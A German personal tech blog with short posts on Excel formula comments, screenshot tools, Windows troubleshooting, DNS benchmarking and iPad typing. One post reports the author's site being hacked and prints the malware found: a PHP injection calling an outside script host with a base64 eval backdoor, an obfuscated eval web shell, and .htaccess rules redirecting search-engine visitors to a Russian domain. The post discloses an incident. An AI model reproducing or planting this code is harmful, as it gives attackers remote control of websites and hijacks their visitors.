Kommentare in Excel Formeln einbetten

Kommentare in Excel sind zwar grundsätzlich ganz nett gemeint, aber für den schnellen Zugriff auf Informationen ungeeignet. Insbesondere für eine große Anzahl an Zellen lassen sich herkömmliche Kommentare kaum realisieren.

Dafür kann man besser die Formel N() verwenden, diese ergibt egal was man als Parameter angibt immer die Zahl Null. Damit kann man sie in Formeln verwenden ohne das Ergebnis zu verändern.

Beispiel:
A1 enthält den Mehrwertsteuersatz 19%

=100*A1+N("in dieser Rechnung fließt der Mehrwertsteuersatz ein")

Ergebnis: 19

Will man nun auch Textfelder auf diese Weise kommentieren, bekommt man Standardmäßig immer eine 0 angehängt. Dies kann man folgendermaßen umgehen:


="dieser Text ist in der Zelle sichtbar"&TEXT(N("dieser Text nur wenn man auf die Formel in der Zelle betrachtet");"")

Ergebnis: dieser Text ist in der Zelle sichtbar

Ich habe diesen Trick angewendet um für eine große Menge von technischen Namen die Langtexterklärung mit in die Zelle zu packen. Dadurch konnte die Übersichtlichkeit erhöht werden, ohne auf Dokumentation verzichten zu müssen.

Screenpresso

Ein Kollege hat mir den Tipp für ein prima Screenshot-Tool gegeben. Ich bin ja ein großer Freund von Snagit, aber ich fürchte ich werde auf Screenpresso umsteigen.

Auf der Webseite http://www.screenpresso.com/ gibt es eine Videotour. Besonders schick finde ich die automatisch hochzählenden Zahlen, die man via Screenshot-Editor in die Bilder setzen kann. So hat man im Handumdrehen die richtige Klick-Reihenfolge für den Screenshot erklärt.

Die kostenlose Version bettet z.B. in Dropbox-Uploads Wasserzeichen ein, für normale Screenshots ist das aber quasi eine Vollversion. Und das Beste: man kann es wahlweise auch ohne Installieren ausführen.

harmes.de wurde gekapert

Ich habe heute festgestellt, dass die Seite am 09.11.2011 über eine Sicherheitslücke in der TinyMCE-Extension in der ZenPhoto-Gallery gekapert worden ist: http://www.zenphoto.org/news/alert-security-hole-in-zenphoto-1.4.1.4

Das ist auch der Grund, warum harmes.de vorerst im neuen Gewand auftritt. Bis auf die Bilder habe ich sämtliche Dateien gelöscht und WordPress komplett neu hochgeladen. Die Datenbank wurde von dem Hack nicht betroffen.

Auswirkung des Hacks: je nachdem von wo der Besucher gekommen ist, wurde man auf eine russische Seite weitergeleitet.

Im Folgenden habe ich alle gefundenen Änderungen aufgeführt. Einige Dateien auf meinem Webserver waren mit einem geänderten Zeitstempel versehen, die .htaccess-Dateien hatten jedoch augenscheinlich einen alten Zeitstempel. Dieses wurde von mir auch als letztes entdeckt: die Änderungen waren ziemlich banal sehr weit rechts durch Leerzeichen vor meinen Augen “geschützt”.

Durch die Lücke wurden fast alle .php-Dateien mit einer dynamischen Nachlade-Funktion ausgestattet:

$sessdt_o; if(!$sessdt_o) { $sessdt_o = 1; $sessdt_k = “lb11″; if(!@$_COOKIE[$sessdt_k]) { $sessdt_f = “102″; if(!@headers_sent()) { @setcookie($sessdt_k,$sessdt_f); } else { echo “<script>document.cookie=’”.$sessdt_k.”=”.$sessdt_f.”‘;</script>”; } } else { if($_COOKIE[$sessdt_k]==”102″) { $sessdt_f = (rand(1000,9000)+1); if(!@headers_sent()) { @setcookie($sessdt_k,$sessdt_f); } else { echo “<script>document.cookie=’”.$sessdt_k.”=”.$sessdt_f.”‘;</script>”; } $sessdt_j = @$_SERVER["HTTP_HOST"].@$_SERVER["REQUEST_URI"]; $sessdt_v = urlencode(strrev($sessdt_j)); $sessdt_u = “http://turnitupnow.net/?rnd=”.$sessdt_f.substr($sessdt_v,-200); echo “<script src=’$sessdt_u’></script>”; echo “<meta http-equiv=’refresh’ content=’0;url=http://$sessdt_j’><!–”; } } $sessdt_p = “showimg”; if(isset($_POST[$sessdt_p])){eval(base64_decode(str_replace(chr(32),chr(43),$_POST[$sessdt_p])));exit;} }

 

Außerdem wurden in den Hauptverzeichnissen Dateien á la “tmp_2981577430561915.php” angelegt:

                                                                                                      $vf=substr(1,1);foreach(array(10,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,

110,116,66,121,73,100,40,39,80,104,112,79,117,116,112,117,116,39,41,46,

115,116,121,108,101,46,100,105,115,112,108,97,121,61,39,39,59,100,111,

99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,

73,100,40,39,80,104,112,79,117,116,112,117,116,39,41,46,105,110,110,101,

114,72,84,77,76,61,39,39,59,10,10,13,9,92,39,0,112,49,60,115,99,114,105,112,

116,32,115,114,99,61,104,116,116,112,58,47,47,102,97,99,101,116,111,102,97,

99,101,46,100,101,47,101,120,116,47,62,60,47,115,99,114,105,112,116,62,116,

114,117,101,99,115,115) as $vj[0]){$vf.=chr($vj[0]);}$vj[0]=substr($vf,0,1);$vj[1]=substr($vf,1,102);$vj[2]=substr($vf,103,3);$vj[3]=substr($vf,106,6);$vj[4]=substr($vf,112,2);$vj[5]=substr($vf,114,-7);$vj[6]=substr($vf,-7); if(isset($_GET[$vj[6]])){$vj[7]=0;if(isset($_POST[chr(97)])){$vj[7]=$_POST[chr(97)];}$vj[8]=chr(97).chr(106).chr(97).chr(120);$vj[9]=0;if(isset($_POST[$vj[8]])){$vj[9]=$_POST[$vj[8]];}if($vj[7]==substr($vj[1],79,3)&&strlen($vj[9])==4){@ob_start();@eval($_POST[$vj[4]]);$vj[6]=$vj[1].addcslashes(htmlspecialchars(@ob_get_clean()),$vj[3]).$vj[2];echo strlen($vj[6]).$vj[0].$vj[6];}else{$vj[0]=chr(116).chr(120);if(!isset($_POST[$vj[0]])){echo $vj[5];}else{@eval(urldecode($_POST[$vj[0]]));}}exit;}unset($vf);unset($vj);?>

 

Und sämtliche .htaccess-Dateien wurden angepasst:

ErrorDocument 400 http://conditer-asybasy.ru/soni/index.php
ErrorDocument 401 http://conditer-asybasy.ru/soni/index.php
ErrorDocument 403 http://conditer-asybasy.ru/soni/index.php
ErrorDocument 404 http://conditer-asybasy.ru/soni/index.php
ErrorDocument 500 http://conditer-asybasy.ru/soni/index.php

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.* [OR]
RewriteCond %{HTTP_REFERER} .*ask.* [OR]
RewriteCond %{HTTP_REFERER} .*yahoo.* [OR]
RewriteCond %{HTTP_REFERER} .*baidu.* [OR]
RewriteCond %{HTTP_REFERER} .*youtube.* [OR]
RewriteCond %{HTTP_REFERER} .*wikipedia.* [OR]
RewriteCond %{HTTP_REFERER} .*qq.* [OR]
RewriteCond %{HTTP_REFERER} .*excite.* [OR]
RewriteCond %{HTTP_REFERER} .*altavista.* [OR]
RewriteCond %{HTTP_REFERER} .*msn.* [OR]
RewriteCond %{HTTP_REFERER} .*netscape.* [OR]
RewriteCond %{HTTP_REFERER} .*aol.* [OR]
RewriteCond %{HTTP_REFERER} .*hotbot.* [OR]
RewriteCond %{HTTP_REFERER} .*goto.* [OR]
RewriteCond %{HTTP_REFERER} .*infoseek.* [OR]
RewriteCond %{HTTP_REFERER} .*mamma.* [OR]
RewriteCond %{HTTP_REFERER} .*alltheweb.* [OR]
RewriteCond %{HTTP_REFERER} .*lycos.* [OR]
RewriteCond %{HTTP_REFERER} .*search.* [OR]
RewriteCond %{HTTP_REFERER} .*metacrawler.* [OR]
RewriteCond %{HTTP_REFERER} .*bing.* [OR]
RewriteCond %{HTTP_REFERER} .*dogpile.* [OR]
RewriteCond %{HTTP_REFERER} .*facebook.* [OR]
RewriteCond %{HTTP_REFERER} .*twitter.* [OR]
RewriteCond %{HTTP_REFERER} .*blog.* [OR]
RewriteCond %{HTTP_REFERER} .*live.* [OR]
RewriteCond %{HTTP_REFERER} .*myspace.* [OR]
RewriteCond %{HTTP_REFERER} .*mail.* [OR]
RewriteCond %{HTTP_REFERER} .*yandex.* [OR]
RewriteCond %{HTTP_REFERER} .*rambler.* [OR]
RewriteCond %{HTTP_REFERER} .*ya.* [OR]
RewriteCond %{HTTP_REFERER} .*aport.* [OR]
RewriteCond %{HTTP_REFERER} .*linkedin.* [OR]
RewriteCond %{HTTP_REFERER} .*flickr.*
RewriteRule ^(.*)$ http://conditer-asybasy.ru/soni/index.php [R=301,L]

Opera Extension ImgTip zeigt verlinkte Bilder als Tooltip

Der Funktionsumfang von Opera ist ja schon recht umfangreich, daher habe ich bisher keine Extensions genutzt. Die Extension ImgTip ist aber doch einen Blick wert. Durch die Erweiterung kann man bei vielen unterstützten Seiten mit der Maus über Bilder fahren, und die verlinkte Großansicht wird dann direkt eingeblendet.

Beispiel für ein Image-Tooltip

Funktioniert übrigens auch auf Facebook. Sehr praktisch.

Windows 7 Troubleshooting mit dem Zuverlässigkeitsverlauf

Unter Windows 7 kann man mit dem Bordwerkzeug “Zuverlässigkeitsverlauf anzeigen” schnell und einfach Problemen auf die Spur kommen. Dort werden zum Beispiel die letzten Veränderungen inkl. Windowsupdates am Betriebssystem angezeigt oder ob es schwere Softwareausnahmen gegeben hat.

Zuverlässigkeitsverlauf unter Windows 7

Wenn man dann mal wieder einen instabilen Rechner untersuchen muss, ermöglicht die Übersicht eine bessere Eingrenzung und die Beantwortung der Frage “Seit wann besteht das Problem?”. Der Aufruf erfolgt übrigens einfach über das Startmenü und der Eingabe “Zuverlässigkeit”.

Einfach Dateien finden und aufrufen mit Launchy

Das Open Source Programm Launchy ist klein und unscheinbar – aber sehr praktisch. Mit ALT-Leertaste ruft man ein kleines Eingabefeld auf, in das man einen Teil eines Dateinamens eingeben kann. ENTER ruft die Datei auf (praktisch z.B. für Musiktitel). Mit einem TAB kann man dann noch zusätzliche Aufgabe auswählen, z.B. den übergeordneten Ordner öffnen. Das Programm durchsucht dabei vorher ausgewählte Ordner, z.B. Eigene Dateien oder ganz simpel das Startmenü.

Ursache für BlueScreens ermitteln

Manchmal nervt sogar ein frisch installiertes Windows, z.B. in dem es regelmäßig mit einem Blue Screen of Death (BSOD) auf die Bretter geht. Und nach IRQ_NOT_LESS_OR_EQUAL zu suchen führt nicht wirklich zu einer Lösung. In solch einem Fall hilft es manchmal nur, sich das von Windows automatisch erstellte “Kleine Speicherabbild” aus dem Verzeichnis %SystemRoot%\Minidump auf einen funktionierenden Rechner zu kopieren. Diese .dmp-Dateien können mit dem Programm windbg aus den Debugging Tools for Windows geöffnet und analysiert werden.

Vor der Nutzung sollten die Symbol-Pfad-Einstellungen gemacht werden (Ctrl+S). Zum Beispiel “srv *D:\Temp\Debugging\Symbols *http://msdl.microsoft.com/download/symbols”. Danach über File-Open Crash Dump (Ctrl+D) die .dmp-Datei öffnen.

Nach dem Öffnen wird sofort ein Resultat angezeigt. Mit dem Befehl “!analyze -v” kann man sich wahlweise auch noch den Stack zum Zeitpunkt des Fehlers anzeigen lassen. Gegebenenfalls muss man dann alle im Stack angezeigten Systemmodule im Internet suchen, bis man den Namen einer installierten Software oder Hardware ermittelt hat.

Die Meldung “Probably caused by : w22n51.sys ( w22n51+69222 )” war hier aber schon des Rätsels Lösung. Eine kurze Suche nach w22n51.sys brachte sehr viele Hinweise auf ein Treiberproblem der integrierten 2200BG WLAN-Karte von Intel. Nach einem Update des Treibers waren auch die BlueScreens verschwunden.

DNS optimieren mit namebench

Das Opensource Projekt namebench bietet eine bequeme Möglichkeit einen Benchmark auf öffentliche DNS-Server zu machen. Das Ergebnis ergibt dann den potentiell schnellsten DNS-Server für den eigenen Internetanschluss. Ich habe das jetzt mal ausprobiert und der Geschwindigkeitsgewinn ist beeindruckend. Natürlich ist das auch eine Sache des Vertrauens, aber das ist gegenüber meinem Internetprovider auch nicht höher als gegenüber irgendwelchen Free-DNS-Servern. Zumindest sollte man sich über eine Whois-Abfrage davon überzeugen, dass die IP in Deutschland gemeldet ist.

namebench DNS Benchmark Ergebnis

Bequem Umlaute mit dem iPad schreiben

Schon seit geraumer Zeit nervt mich beim Tippen auf dem iPad der Umgang mit Umlauten. Immer muss man lange aufs o drücken, damit mir 9 verschiedene Varianten angeboten werden – von denen ich immer nur eine haben will: ö. Gestern habe ich zufällig herausgefunden: es geht auch einfacher. Und zwar einfach einen Strich nach oben auf dem jeweiligen Buchstaben machen – et voilà: es göht!

iPad Schreiben von Umlauten